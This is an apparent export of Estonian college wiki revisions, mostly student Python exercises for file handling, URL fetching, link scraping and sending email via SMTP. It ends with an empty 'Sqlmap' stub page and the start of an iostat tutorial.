print "Message length is " + repr(len(msg))<br />
<br />
<br />
server = smtplib.SMTP("172.16.0.160", 25)<br />
server.sendmail("saatja@itcollege.ee", "saaja@itcollege.ee", msg)<br />
server.quit()<br />
<br />
</source><br />
<br />
<source lang="python"><br />
<br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Skript läheb ette antud veebilehele ning kopeerib<br />
# kõik leitud URlid lingid.txt faili<br />
<br />
import urllib2<br />
import re<br />
import sys<br />
<br />
if len(sys.argv) != 2:<br />
print("Argumentide arv on vale!")<br />
print("Kasuta programmi", sys.argv[0], "sisendfail")<br />
sys.exit(1)<br />
<br />
url = sys.argv[1]<br />
f = open('lingid.txt','w')<br />
<br />
page = urllib2.urlopen(url)<br />
page = page.read()<br />
links = re.findall(r"<a.*?\s*href=\"(.*?)\".*?>(.*?)</a>", page)<br />
<br />
for link in links:<br />
f.write('%s \n' % (link[0]))<br />
<br />
f.close()<br />
<br />
</source><br />
<br><br />
<br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Johannes Tammekänd - A22 - 25.03.14<br />
# Leiab etteantud URL'i lähtekoodist kõik lingid.<br />
<br />
import urllib2<br />
import sys<br />
<br />
if len(sys.argv) != 2:<br />
print "Argumentide arv on vale!"<br />
print "Kasuta programmi ", sys.argv[0], "http://www.veebiaadress.com"<br />
sys.exit(1)<br />
<br />
<br />
from BeautifulSoup import BeautifulSoup<br />
page = urllib2.urlopen(sys.argv[1])<br />
soup = BeautifulSoup(page.read())<br />
links = soup.findAll("a")<br />
for link in links:<br />
print link["href"]<br />
<br />
</source><br />
<br><br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Imre Lebedev - A22 - 08.04.2014<br />
# Võtab sisendfailiks logifaili ja kirjutab logifaili väljudnisse järgmiselt<br />
# Et logifaili ajad hakkaks enda aega lugema esimese logirea järgi<br />
import sys<br />
import re<br />
import datetime<br />
<br />
if len(sys.argv) != 2:<br />
print("Argumentide arv on vale!")<br />
print("Kasuta programmi", sys.argv[0], "sisendfail")<br />
sys.exit(1)<br />
<br />
try:<br />
fh = open('/home/valjunddomeen.txt','w')<br />
except IOError:<br />
print "Väljundfail on juba olemas või ei ole sinna võimalik kirjutada"<br />
sys.exit(1)<br />
<br />
try:<br />
f = open(sys.argv[1],'r')<br />
except IOError:<br />
print "Sisendfail puudub või ei ole piisavalt õigusi selle avamiseks"<br />
sys.exit(1)<br />
<br />
for line in f:<br />
try:<br />
info=line.split("@")[1]<br />
fh.write(info)<br />
except IOError:<br />
print "Faili sisse ei õnnestu kirjutada"<br />
f.close()<br />
</source><br />
<br />
<br><br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Johannes Tammekänd, A22<br />
# Skript, mis loeb sisendfailist emailid ja väljundfaili kirjutab emaili domeenid.<br />
<br />
import sys<br />
<br />
if len(sys.argv) != 3:<br />
print "Argumentide arv on vale!"<br />
print "Kasuta programmi ", sys.argv[0], "Sisendfail Väljundfail"<br />
sys.exit(1)<br />
<br />
try:<br />
input_file = open(sys.argv[1], 'r')<br />
except IOError: <br />
print "Sisendfaili ei saa avada."<br />
<br />
try:<br />
output_file = open(sys.argv[2], 'w')<br />
except IOError:<br />
print "Väljundfaili ei saa kirjutada."<br />
<br />
for line in input_file.readlines():<br />
print line<br />
line = line.split("@")[1]<br />
output_file.write(line) <br />
</source><br />
<br />
<br><br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Autor Karl Männil<br />
# Programm kontrollib kas on võimalik avada käsurealt sisestatud parameetrite nimelisi faile<br />
from __future__ import print_function<br />
from __future__ import unicode_literals<br />
<br />
import sys<br />
<br />
# Kontrollime kas programmil on piisavalt argumente (vaja on kolme aga programm ise on ka parameeter)<br />
# Vajadusel pahandame kasutajaga ning õpetame teda!<br />
if len(sys.argv) != 4:<br />
print("Kasuta programmi vähemalt kolme parameetriga")<br />
sys.exit(1)<br />
print("Programm lõpetas töö")<br />
<br />
# Proovime kas saame avada faili mis sisestati esimese parameetrina (tegelikult parameeter 2), kirjutame ka staatuse<br />
try:<br />
fh = open(sys.argv[1],'r')<br />
print ("Faili nimega ", sys.argv[1], "saab avada")<br />
except IOError:<br />
print("Sisendfaili ei saa avada")<br />
<br />
# Proovime kas saame avada faili mis sisestati teise parameetrina (tegelikult parameeter 3), kirjutame ka staatuse<br />
try:<br />
fh = open(sys.argv[2],'r')<br />
print ("Faili nimega ", sys.argv[2], "saab avada")<br />
except IOError:<br />
print("Sisendfaili ei saa avada")<br />
<br />
# Proovime kas saame avada faili mis sisestati kolmanda parameetrina (tegelikult parameeter 4), kirjutame ka staatuse<br />
try:<br />
fh = open(sys.argv[3],'r')<br />
print ("Faili nimega ", sys.argv[3], "saab avada")<br />
except IOError:<br />
print("Sisendfaili ei saa avada")<br />
</source><br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
from __future__ import print_function<br />
from __future__ import unicode_literals<br />
<br />
import sys<br />
import urllib2<br />
import time<br />
<br />
<br />
if len(sys.argv) != 3:<br />
print("Vale argumentide arv!")<br />
sys.exit(1)<br />
#ava väljundfail kirjutamiseks argument 3<br />
try:<br />
fhw = open(sys.argv[2], 'w')<br />
<br />
except IOError:<br />
print("Väljundfaili avamine ebaõnnestus!")<br />
sys.exit(2)<br />
<br />
<br />
<br />
try:<br />
fhr = open(sys.argv[1], 'r')<br />
for line in fhr.readlines():<br />
a_line = line.split(",")<br />
try:<br />
u = urllib2.urlopen(a_line[0])<br />
except Exception:<br />
print(a_line[0], "URL avamine ebaõnnestus")<br />
sisu=u.read()<br />
arv=sisu.count(a_line[1].strip())<br />
if arv > 0:<br />
tekst = "URL: "<br />
tekst += str(a_line[0])<br />
tekst += " Fraas: "<br />
tekst += str(a_line[1].strip())<br />
tekst += " "<br />
tekst += time.strftime("%Y-%m-%d %H:%M:%S")<br />
tekst += " OK"<br />
tekst += "\n"<br />
# noinspection PyTypeChecker<br />
fhw.write(tekst)<br />
else:<br />
tekst="URL: "<br />
tekst+=str(a_line[0])<br />
tekst+=" Fraas: "<br />
tekst+=str(a_line[1].strip())<br />
tekst += " "<br />
tekst += time.strftime("%Y-%m-%d %H:%M:%S")<br />
tekst+=" NOTOK"<br />
tekst+="\n"<br />
fhw.write(tekst)<br />
<br />
<br />
except IOError:<br />
print("Sisendfaili ei saanud avada")<br />
sys.exit(1)<br />
<br />
</source></div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Python_tunnis_tehtud_n%C3%A4ited&diff=88455
Python tunnis tehtud näited
2015-05-12T08:10:04Z
<p>Eprudnik: </p>
<hr />
<div><source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
from __future__ import print_function<br />
from __future__ import unicode_literals<br />
#1. Skript loeb failist numbrid<br />
#2. Kui number jagub 3 siis prindib numbri<br />
<br />
#exit 1 - Argumentide arv vale<br />
#exit 2 - Aisendfaili ei õnnestu lugeda<br />
<br />
import sys<br />
<br />
if len(sys.argv) != 2:<br />
print ("Käsurea argumente peab olema 1")<br />
sys.exit(1)<br />
<br />
try:<br />
sisend = open(sys.argv[1])<br />
<br />
except IOError:<br />
print ('Sisendfaili, sys.argv[1], ei saa avada')<br />
sys.exit(2)<br />
<br />
for line in sisend.readlines():<br />
line = line.strip()<br />
if line:<br />
line2=float(line)<br />
if line2 % 3 == 0:<br />
print (line)<br />
<br />
</source><br />
<br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
from __future__ import print_function<br />
from __future__ import unicode_literals<br />
<br />
import sys<br />
import urllib2<br />
<br />
<br />
print("See on tehtud IDET kasutades")<br />
<br />
print(sys.argv)<br />
print(len(sys.argv))<br />
<br />
if len(sys.argv) != 2:<br />
print("Kasuta programmi ...")<br />
sys.exit(1)<br />
<br />
<br />
print("programm lõpetas töö")<br />
<br />
try:<br />
fh = open(sys.argv[1], 'r')<br />
for line in fh.readlines():<br />
a_line = line.split(',')<br />
print("URL:", a_line[0], "String", a_line[1])<br />
try:<br />
u = urllib2.urlopen(a_line[0])<br />
sisu = u.read()<br />
print("Srtingi leidsin", sisu.count(a_line[1].strip()), "korda")<br />
except Exception:<br />
print("URLi avamine ebaõnnestus")<br />
print("URL:", a_line[0], "String", a_line[1])<br />
<br />
except IOError:<br />
print("Faili avamine ebaõnnestus")<br />
</source><br />
<br />
<br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Johannes Tammekänd - A22, 18.03.2014<br />
# Programm mis võtab käsurea argumendina sisendfaili ning leiab sellest <br />
# sisendfailist kõige pikima sõna ja väljastab selle sõna koos reanumbriga.<br />
<br />
import sys<br />
<br />
if len(sys.argv) != 2:<br />
print "Argumentide arv on vale!"<br />
print "Kasuta programmi ", sys.argv[0], "sisendfail"<br />
sys.exit(1)<br />
<br />
try:<br />
pikim = open(sys.argv[1], 'r')<br />
lookup = max(pikim, key = len)<br />
lookup = max(lookup.split(), key=len)<br />
print lookup<br />
except IOError: <br />
print "Sisendfaili ei saa avada."<br />
<br />
with open(sys.argv[1]) as minuFail:<br />
for num, line in enumerate(minuFail, 1):<br />
if lookup in line:<br />
print 'Sõna oli real:', num<br />
<br />
<br />
<br />
print "Programm lõpetas töö"<br />
</source><br />
<br><br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Johannes Tammekänd - A22, 18.03.2014<br />
# Programm avab faili, leiab sealt kõige pikema rea ning väljastab selle.<br />
<br />
<br />
import sys<br />
<br />
if len(sys.argv) != 2:<br />
print "Argumentide arv on vale!"<br />
print "Kasuta programmi ", sys.argv[0], "sisendfail"<br />
sys.exit(1)<br />
<br />
try:<br />
pikim = open(sys.argv[1], 'r')<br />
lookup = max(pikim, key = len)<br />
print lookup<br />
except IOError: <br />
print "Sisendfaili ei saa avada."<br />
<br />
<br />
print "Programm lõpetas töö"<br />
</source><br />
<br><br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Programm avab faili, leiab sealt kõige pikema rea ning väljastab selle<br />
# Autor: Karl-Martin Karlson<br />
<br />
from __future__ import print_function<br />
<br />
import sys<br />
<br />
#Kontrollib käsurea argumentide arvu<br />
<br />
if len(sys.argv) != 2:<br />
print("Argumentide arv on vale!")<br />
print("Kasuta programmi", sys.argv[0], "sisendfail")<br />
sys.exit(1)<br />
<br />
failinimi = sys.argv[1]<br />
<br />
<br />
try:<br />
ifh = open(sys.argv[1], 'r')<br />
except I0Error:<br />
print("Faili ei saanud avada")<br />
sys.exit(1)<br />
<br />
reapikkus = 0<br />
pikimrida = "Tere"<br />
<br />
ifh=open(failinimi)<br />
while True:<br />
line = ifh.readline()<br />
if reapikkus < len(line):<br />
reapikkus = len(line)<br />
pikimrida = line <br />
if not line:<br />
break<br />
ifh.close()<br />
print (pikimrida)<br />
</source><br />
<br><br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Skript kontrollib argumentide arvu, avab argumendina antud faili(kontrollides eelnevalt selle<br />
# olemasolu ning õiguseid sellest lugemiseks) ning seejärel prindib pikima rea välja.<br />
# Autor: Marten Mattisen<br />
import sys<br />
if (len(sys.argv) != 2):<br />
print ("Argumentide arv on vale!")<br />
sys.exit(2)<br />
try:<br />
print "Pikim rida:"+max(open(sys.argv[1], 'r'), key=len)<br />
except IOError:<br />
print 'Sisendfail on puudu või pole sellest lugemiseks õiguseid'<br />
sys.exit(1)<br />
print 'Skript on töö lõpetanud.'<br />
<br />
</source><br />
<br><br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Tere täpiline kommentaar<br />
import sys<br />
<br />
print sys.argv[0], sys.argv[1]<br />
print 'Tere maailm!'<br />
<br />
muutuja = 5<br />
<br />
teine_muutuja = 2.0<br />
<br />
print 'jagatis on', muutuja/teine_muutuja<br />
print 'Palun sisesta midagi'<br />
vastus = int(raw_input())<br />
<br />
print 'sisestasid', vastus/2.0<br />
<br />
if vastus%2 == 0:<br />
print 'vastus on paarisarv'<br />
else:<br />
print 'vastus on paaritu arv'<br />
<br />
for i in range(1,9999):<br />
print 'i =',i<br />
<br />
while True:<br />
print "sisesta midagi"<br />
a = raw_input()<br />
if a == 'q':<br />
print 'programm lõpetas töö'<br />
sys.exit(0) <br />
<br />
<br />
</source><br />
<br />
Pythoni programm, mis kontrollib, kas arv jagub 10-ga<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
<br />
while True:<br />
print 'Kirjuta mingi arv, mis jagub 10ga'<br />
#raw_input annab stringi, see on vaja teha integer tüüpi<br />
kasutajaarv = int(raw_input())<br />
if kasutajaarv%10 == 0:<br />
break<br />
<br />
print 'Jagus! Programm lõpetab!'<br />
</source><br />
Skript väljastab esmalt argumentide arvu ja argumendid (iga argument eraldi real)<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
#loo skript, mis saab käsurealt 0..n argumenti<br />
#skript väljastab esmalt argumentide arvu ja argumendid (iga argument eraldi real)<br />
<br />
import sys<br />
<br />
print 'argumentide arv:', len(sys.argv)<br />
<br />
for i in sys.argv:<br />
print "Argument: ", i<br />
</source><br />
<br />
Pythoni programm, mis väljastab ainult paaritud argumendid<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
#Loo skript mis saab käsurealt 0..n argumenti<br />
#väljastab kõik paaritud argumendid (iga argument eraldi real)<br />
<br />
import sys<br />
<br />
for i in sys.argv[1:]:<br />
if int(i)%2 == 0:<br />
pass<br />
else:<br />
print 'Paaritu argument: ', i<br />
</source><br />
<br />
Pythoni programm, mis kirjutab faili, kus on 1000 rida ja igal real on juhuarv 1..1000<br />
<br />
<source lang="python"><br />
<br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
<br />
import random<br />
fo = open("fail.txt", 'w')<br />
<br />
for x in range(1, 1001):<br />
ran=str(random.randrange(1,1000+1)) <br />
fo.write(ran+'\n')<br />
<br />
fo.close()<br />
<br />
</source><br />
<br />
Skript sorteerib fail.txt-s olevad numbrid ja väljastab uute faili<br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
#Skript sorteerib fail.txt-s olevad numbrid ja väljastab <br />
# uute faili<br />
<br />
fo = open("fail.txt", "r" )<br />
fo2 = open("sorteeritud.txt", 'w')<br />
<br />
lines = fo.readlines()<br />
results = map(int, lines)<br />
<br />
results.sort()<br />
<br />
for item in results:<br />
fo2.write("%s\n" % item)<br />
<br />
fo.close()<br />
fo2.close()<br />
<br />
</source><br />
<br />
Skript sorteerib fail.txt-s olevad numbrid ja väljastab uute faili<br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
#Skript sorteerib fail.txt-s olevad numbrid ja väljastab <br />
# uute faili<br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
import sys<br />
<br />
f = open(sys.argv[1], 'r')<br />
lines = f.readlines()<br />
lines.sort(key = int)<br />
<br />
<br />
f = open('uusfail3.txt', 'w')<br />
for number in lines:<br />
f.write(number)<br />
f.close<br />
</source><br />
<br />
<br />
Skript sorteerib fail.txt-s olevad numbrid ja väljastab ainult unikaalsed numbrid<br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
#Skript sorteerib fail.txt-s olevad numbrid ja väljastab ainult<br />
# unikaalsed numbrid<br />
<br />
fo = open("fail.txt", "r" )<br />
fo2 = open("unikaalsed.txt", 'w')<br />
<br />
lines = fo.readlines()<br />
results = map(int, lines)<br />
<br />
results2 = list(set(results))<br />
results2.sort()<br />
<br />
for item in results2:<br />
fo2.write("%s\n" % item)<br />
<br />
fo.close()<br />
fo2.close()<br />
<br />
</source><br />
<br />
Skript, mis tagastab käsurealt etteantud kasutaja UID<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
<br />
import sys<br />
from pwd import getpwnam<br />
print getpwnam(sys.argv[1]).pw_uid<br />
<br />
</source><br />
<br />
Skript, mis väljastan NxN ühikmaatriksi<br />
<br />
<source lang="python"><br />
<br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Väljastab NxN ühikmaatriksi<br />
<br />
import sys<br />
import numpy as np<br />
<br />
n = float(sys.argv[1])<br />
<br />
print np.identity(n)<br />
<br />
</source><br />
<br />
Skript loeb etteantud teksti failist ridade, sõnade ja tähemärkide arvu<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Skript loeb etteantud teksti failist ridade, sõnade ja tähemärkide arvu<br />
from sys import argv<br />
<br />
if len(argv) < 2:<br />
print "Sa ei sisestanud ühtegi argumenti, mida kontrollida"<br />
exit(1)<br />
<br />
fh=open(argv[1])<br />
read = fh.readlines()<br />
<br />
sonad = 0<br />
tahed = 0<br />
for rida in read:<br />
tahed = tahed + len(rida)<br />
sonad = sonad + len(rida.split())<br />
<br />
print "Ridu:" , len(read)<br />
print "Sonu:" , sonad<br />
print "Tähti:" , tahed<br />
<br />
fh.close()<br />
</source><br />
<br />
Skript loeb etteantud teksti failist ridade, sõnade ja tähemärkide arvu<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Tee skript, mis leiab käsurealt etteantud tekstifaili<br />
# ridade arvu, tähtede arvu ja sõnade arvu ja väljastab ekraanile<br />
<br />
import sys<br />
<br />
f = open(sys.argv[1], "r" )<br />
<br />
lines = f.readlines()<br />
count = 0<br />
sonad = 0<br />
<br />
<br />
for i in range(0,len(lines)):<br />
count = count + len(lines[i])<br />
sonad = sonad + len(lines[i].split(" "))<br />
<br />
print "Ridu:", len(lines)<br />
print "Tähemärke:", count<br />
print "Sõnu:", sonad<br />
<br />
f.close()<br />
</source><br />
<br />
Skript kirjutab tekstifaili 100 rida rea numbrite ja random sisuga, komadega eraldatult<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Tee skript, mis kirjutab komadega eraldatud tekstifaili 100 rida, igas reas järgnev info:<br />
# rea nr, random nr 1..100, random märk pikkusega 0..32<br />
<br />
import sys<br />
import random<br />
import string<br />
<br />
f = open(sys.argv[1], "w" )<br />
<br />
for i in range(1, 101):<br />
ran=str(random.randrange(1,100+1)) <br />
f.write(str(i)+',')<br />
f.write(ran+',')<br />
for j in range(1,random.randrange(1,32+1)):<br />
f.write(random.choice(string.ascii_letters))<br />
f.write('\n')<br />
<br />
f.close()<br />
</source><br />
<br />
Skript kirjutab ette antud faili 100 rida. Igal real on rea number, suvaline number 1 ja 100 vahel ja suvaline tähemärk, mis on komadega eraldatud<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Skript kirjutab ette antud faili 100 rida. Igal real on rea number, suvaline number 1 ja 100 vahel ja suvaline tähemärk, mis on komadega eraldatud<br />
from sys import argv<br />
from random import randint<br />
import random<br />
letters='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'<br />
<br />
if len(argv) < 2:<br />
print "Sa ei sisestanud ühtegi argumenti, mida kontrollida"<br />
exit(1)<br />
<br />
fh=open(argv[1], "w")<br />
<br />
sonad = 0<br />
tahed = 0<br />
for rida in range(100):<br />
fh.write(str(rida+1) + "," + str(randint(1, 101)) + "," + random.choice(letters) + "\n")<br />
<br />
fh.close()<br />
</source><br />
<br />
Skript saadab meili kasutades smtplib teeki ning on praktiliselt identne StackOverflow lehel asuva koodiga, mille leiab sõnumi sisust.<br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Üllar Seerme, A21<br />
# 25.03.14<br />
import smtplib<br />
<br />
FROM = ""<br />
TO = [""]<br />
<br />
SUBJECT = "Hello World!"<br />
TEXT = "Greetings from http://stackoverflow.com/questions/6270782/sending-email-with-python"<br />
<br />
MESSAGE = """\<br />
From: %s<br />
To: %s<br />
Subject: %s<br />
<br />
%s<br />
""" % (FROM, ", ".join(TO), SUBJECT, TEXT)<br />
<br />
server = smtplib.SMTP("mail.itcollege.ee")<br />
server.sendmail(FROM, TO, MESSAGE)<br />
server.quit()<br />
</source><br />
skript saadab meili kasutades smtplib teeki. Süntaksi sain tutorialspoint.com dokumentatsioonidest.<br />
<source lang="python"><br />
#!/usr/bin/python<br />
#A21 Juri Kononov Ilma autentimist meili saatmine<br />
import smtplib<br />
<br />
smtplib.SMTP('mail.itcollege.ee').sendmail('kellelt@itcollege.ee', 'kellele@itcollege.ee', "emaili sisu")<br />
</source><br />
<br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Autor: Karl-Martin Karlson<br />
# Rühm: A21<br />
# Skript saadab enda sisu valitud meili aadressile<br />
<br />
import smtplib<br />
<br />
with open(__file__) as f:<br />
msg = f.read()<br />
<br />
print "Message length is " + repr(len(msg))<br />
<br />
<br />
server = smtplib.SMTP("172.16.0.160", 25)<br />
server.sendmail("saatja@itcollege.ee", "saaja@itcollege.ee", msg)<br />
server.quit()<br />
<br />
</source><br />
<br />
<source lang="python"><br />
<br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Skript läheb ette antud veebilehele ning kopeerib<br />
# kõik leitud URlid lingid.txt faili<br />
<br />
import urllib2<br />
import re<br />
import sys<br />
<br />
if len(sys.argv) != 2:<br />
print("Argumentide arv on vale!")<br />
print("Kasuta programmi", sys.argv[0], "sisendfail")<br />
sys.exit(1)<br />
<br />
url = sys.argv[1]<br />
f = open('lingid.txt','w')<br />
<br />
page = urllib2.urlopen(url)<br />
page = page.read()<br />
links = re.findall(r"<a.*?\s*href=\"(.*?)\".*?>(.*?)</a>", page)<br />
<br />
for link in links:<br />
f.write('%s \n' % (link[0]))<br />
<br />
f.close()<br />
<br />
</source><br />
<br><br />
<br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Johannes Tammekänd - A22 - 25.03.14<br />
# Leiab etteantud URL'i lähtekoodist kõik lingid.<br />
<br />
import urllib2<br />
import sys<br />
<br />
if len(sys.argv) != 2:<br />
print "Argumentide arv on vale!"<br />
print "Kasuta programmi ", sys.argv[0], "http://www.veebiaadress.com"<br />
sys.exit(1)<br />
<br />
<br />
from BeautifulSoup import BeautifulSoup<br />
page = urllib2.urlopen(sys.argv[1])<br />
soup = BeautifulSoup(page.read())<br />
links = soup.findAll("a")<br />
for link in links:<br />
print link["href"]<br />
<br />
</source><br />
<br><br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Imre Lebedev - A22 - 08.04.2014<br />
# Võtab sisendfailiks logifaili ja kirjutab logifaili väljudnisse järgmiselt<br />
# Et logifaili ajad hakkaks enda aega lugema esimese logirea järgi<br />
import sys<br />
import re<br />
import datetime<br />
<br />
if len(sys.argv) != 2:<br />
print("Argumentide arv on vale!")<br />
print("Kasuta programmi", sys.argv[0], "sisendfail")<br />
sys.exit(1)<br />
<br />
try:<br />
fh = open('/home/valjunddomeen.txt','w')<br />
except IOError:<br />
print "Väljundfail on juba olemas või ei ole sinna võimalik kirjutada"<br />
sys.exit(1)<br />
<br />
try:<br />
f = open(sys.argv[1],'r')<br />
except IOError:<br />
print "Sisendfail puudub või ei ole piisavalt õigusi selle avamiseks"<br />
sys.exit(1)<br />
<br />
for line in f:<br />
try:<br />
info=line.split("@")[1]<br />
fh.write(info)<br />
except IOError:<br />
print "Faili sisse ei õnnestu kirjutada"<br />
f.close()<br />
</source><br />
<br />
<br><br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Johannes Tammekänd, A22<br />
# Skript, mis loeb sisendfailist emailid ja väljundfaili kirjutab emaili domeenid.<br />
<br />
import sys<br />
<br />
if len(sys.argv) != 3:<br />
print "Argumentide arv on vale!"<br />
print "Kasuta programmi ", sys.argv[0], "Sisendfail Väljundfail"<br />
sys.exit(1)<br />
<br />
try:<br />
input_file = open(sys.argv[1], 'r')<br />
except IOError: <br />
print "Sisendfaili ei saa avada."<br />
<br />
try:<br />
output_file = open(sys.argv[2], 'w')<br />
except IOError:<br />
print "Väljundfaili ei saa kirjutada."<br />
<br />
for line in input_file.readlines():<br />
print line<br />
line = line.split("@")[1]<br />
output_file.write(line) <br />
</source><br />
<br />
<br><br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Autor Karl Männil<br />
# Programm kontrollib kas on võimalik avada käsurealt sisestatud parameetrite nimelisi faile<br />
from __future__ import print_function<br />
from __future__ import unicode_literals<br />
<br />
import sys<br />
<br />
# Kontrollime kas programmil on piisavalt argumente (vaja on kolme aga programm ise on ka parameeter)<br />
# Vajadusel pahandame kasutajaga ning õpetame teda!<br />
if len(sys.argv) != 4:<br />
print("Kasuta programmi vähemalt kolme parameetriga")<br />
sys.exit(1)<br />
print("Programm lõpetas töö")<br />
<br />
# Proovime kas saame avada faili mis sisestati esimese parameetrina (tegelikult parameeter 2), kirjutame ka staatuse<br />
try:<br />
fh = open(sys.argv[1],'r')<br />
print ("Faili nimega ", sys.argv[1], "saab avada")<br />
except IOError:<br />
print("Sisendfaili ei saa avada")<br />
<br />
# Proovime kas saame avada faili mis sisestati teise parameetrina (tegelikult parameeter 3), kirjutame ka staatuse<br />
try:<br />
fh = open(sys.argv[2],'r')<br />
print ("Faili nimega ", sys.argv[2], "saab avada")<br />
except IOError:<br />
print("Sisendfaili ei saa avada")<br />
<br />
# Proovime kas saame avada faili mis sisestati kolmanda parameetrina (tegelikult parameeter 4), kirjutame ka staatuse<br />
try:<br />
fh = open(sys.argv[3],'r')<br />
print ("Faili nimega ", sys.argv[3], "saab avada")<br />
except IOError:<br />
print("Sisendfaili ei saa avada")<br />
</source><br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
from __future__ import print_function<br />
from __future__ import unicode_literals<br />
<br />
import sys<br />
import urllib2<br />
import time<br />
<br />
<br />
if len(sys.argv) != 3:<br />
print("Vale argumentide arv!")<br />
sys.exit(1)<br />
#ava väljundfail kirjutamiseks argument 3<br />
try:<br />
fhw = open(sys.argv[2], 'w')<br />
<br />
except IOError:<br />
print("Väljundfaili avamine ebaõnnestus!")<br />
sys.exit(2)<br />
<br />
<br />
<br />
try:<br />
fhr = open(sys.argv[1], 'r')<br />
for line in fhr.readlines():<br />
a_line = line.split(",")<br />
try:<br />
u = urllib2.urlopen(a_line[0])<br />
except Exception:<br />
print(a_line[0], "URL avamine ebaõnnestus")<br />
sisu=u.read()<br />
arv=sisu.count(a_line[1].strip())<br />
if arv > 0:<br />
tekst = "URL: "<br />
tekst += str(a_line[0])<br />
tekst += " Fraas: "<br />
tekst += str(a_line[1].strip())<br />
tekst += " "<br />
tekst += time.strftime("%Y-%m-%d %H:%M:%S")<br />
tekst += " OK"<br />
tekst += "\n"<br />
# noinspection PyTypeChecker<br />
fhw.write(tekst)<br />
else:<br />
tekst="URL: "<br />
tekst+=str(a_line[0])<br />
tekst+=" Fraas: "<br />
tekst+=str(a_line[1].strip())<br />
tekst += " "<br />
tekst += time.strftime("%Y-%m-%d %H:%M:%S")<br />
tekst+=" NOTOK"<br />
tekst+="\n"<br />
fhw.write(tekst)<br />
<br />
<br />
except IOError:<br />
print("Sisendfaili ei saanud avada")<br />
sys.exit(1)<br />
<br />
</source></div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Sqlmap&diff=88411
Sqlmap
2015-05-11T09:35:58Z
<p>Eprudnik: Created page with "Elina Prudnikova 2015 A21"</p>
<hr />
<div>Elina Prudnikova 2015 A21</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Iostat&diff=82576
Iostat
2014-11-13T19:49:30Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= Iostat =<br />
'''''<br />
Autor: Elina Prudnikova <br />
<br />
Rühm: A21<br />
<br />
November 2014<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
Iostat'i kasutatakse sisend/väljund seadmete toimimise jälgimiseks. Näitab infot protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat'i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. Iostat genereerib kolme tüüpi raporteid: protsessori, plokkseadmete ja võrgu kasutusest. Esimene raport genereerib andmeid alates süsteemi alglaadimisest. Iga järgnev raport hõlmab aega alates eelmisest raportist. [http://linux.die.net/man/1/iostat]<br />
<br />
Iostat on osa sar utiliidist, mis sisaldub sysstat paketis. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
'''<br />
===Paigaldamise lühijuhend===<br />
'''<br />
Iostat'i kasutamiseks on vaja paigaldada '''sysstat'''.[http://www.thegeekstuff.com/2011/03/sar-examples/]<br />
<br />
<pre>sudo apt-get install sysstat</pre><br />
<br />
Kontrolli paigaldust:<br />
<br />
<pre>$ sar -V<br />
sysstat version 10.0.0<br />
(C) Sebastien Godard (sysstat orange.fr)</pre><br />
<br />
<pre>$ sar 1 3<br />
Linux 2.6.18-194.el5PAE (dev-db) 03/26/2011 _i686_ (8 CPU)<br />
<br />
01:27:32 PM CPU %user %nice %system %iowait %steal %idle<br />
01:27:33 PM all 0.00 0.00 0.00 0.00 0.00 100.00<br />
